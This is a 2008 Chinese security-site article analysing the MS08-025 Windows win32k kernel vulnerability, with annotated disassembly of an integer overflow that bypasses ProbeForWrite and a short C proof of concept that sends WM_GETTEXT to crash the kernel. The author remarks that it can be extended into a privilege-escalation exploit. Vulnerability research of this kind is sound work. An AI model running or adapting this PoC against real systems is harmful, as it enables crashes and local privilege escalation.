安全中国首页 > 文章中心 > 其他漏洞研究
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

Windows 内核漏洞 ms08025 分析

更新时间:2008-4-12 1:33:32
责任编辑:池天
热 点:

.text:BF86FB04
.text:BF86FB04                 push    14h
.text:BF86FB06                 push    offset unk_BF98D250
.text:BF86FB0B                 call    __SEH_prolog
.text:BF86FB0B
.text:BF86FB10                 xor     edx, edx
.text:BF86FB12                 mov     [ebp+ms_exc.disabled], edx
.text:BF86FB15                 mov     eax, [ebp+var_20]
.text:BF86FB18                 mov     ecx, 7FFFFFFFh
.text:BF86FB1D                 and     eax, ecx
.text:BF86FB1F                 mov     esi, [ebp+arg_18]
.text:BF86FB22                 shl     esi, 1Fh
.text:BF86FB25                 or      eax, esi
.text:BF86FB27                 mov     [ebp+var_20], eax
.text:BF86FB2A                 mov     esi, eax
.text:BF86FB2C                 xor     esi, [ebp+arg_8]  -> esi = 缓冲区长度
.text:BF86FB2F                 and     esi, ecx
.text:BF86FB31                 xor     eax, esi
.text:BF86FB33                 mov     [ebp+var_20], eax
.text:BF86FB36                 cmp     [ebp+arg_18], edx  -> 如果是 ansi 方式就直接进行检查,否则需要计算unicode的大小
.text:BF86FB39                 jnz     short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B                 lea     esi, [eax+eax]    <- 注意这里,问题就在这里,此时 eax = unicode字符串的长度,
                                                        <- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000,32位的寄存器
                                                        <- 被溢出了,esi = 0
.text:BF86FB3E                 xor     esi, eax
.text:BF86FB40                 and     esi, ecx
.text:BF86FB42                 xor     eax, esi
.text:BF86FB44                 mov     [ebp+var_20], eax -> 保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47:                           ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j
.text:BF86FB47                 mov     [ebp+var_24], edx
.text:BF86FB4A                 mov     esi, [ebp+Address]
.text:BF86FB4D                 mov     [ebp+UserBuffer], esi
.text:BF86FB50                 xor     ebx, ebx
.text:BF86FB52                 inc     ebx
.text:BF86FB53                 push    ebx             ; Alignment
.text:BF86FB54                 and     eax, ecx
.text:BF86FB56                 push    eax             ; Length <- 由于 eax = 0,所以ProbeForWrite被绕过
.text:BF86FB57                 push    esi             ; Address
.text:BF86FB58                 call    ds:ProbeForWrite(x,x,x)


bf80a1b0 e96ef4ffff       jmp   win32k!xxxRealDefWindowProc+0x1235 (bf809623)
bf80a1b5 d1e8             shr     eax,1
bf80a1b7 894510           mov     [ebp+0x10],eax
bf80a1ba ebf1             jmp    win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
bf80a1bc 8b4514           mov     eax,[ebp+0x14]
bf80a1bf f6400780         test    byte ptr [eax+0x7],0x80
bf80a1c3 8b4008           mov     eax,[eax+0x8]
bf80a1c6 7408             jz     win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
bf80a1c8 c60000           mov     byte ptr [eax],0x0
bf80a1cb e951f4ffff       jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d0 668910           mov     [eax],dx    <- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0
bf80a1d3 e949f4ffff       jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d8 6a00             push    0x0
bf80a1da 6a02             push    0x2
bf80a1dc ff7638           push    dword ptr [esi+0x38]
bf80a1df e8d1690200       call    win32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8             mov     edi,eax
bf80a1e6 85ff             test    edi,edi
bf80a1e8 0f8433f4ffff     je    win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1ee 8d7710           lea     esi,[edi+0x10]


那么怎么触发这个漏洞呢,我又分析了 user32.dll 和 win32k!NtUserMessageCall,
发现触发这个漏洞很简单,只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了,
下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可
用的exploit,可以参考我以前的exploit)

#include <stdio.h>
#include <windows.h>

int main(int argc,char *argv[])
{
    DWORD    dwHookAddress = 0x80000000;

    printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
        printf( "Create by Whitecell’s Polymorphours@whitecell.org 2008/04/10\n" );

    SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
    return 0;
}

WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/ 
WSS 论坛:http://www.whitecell.org/forums/ 

上一页 1 2 

 
相关文章
一日一文章
 
一日一软件
一日一动画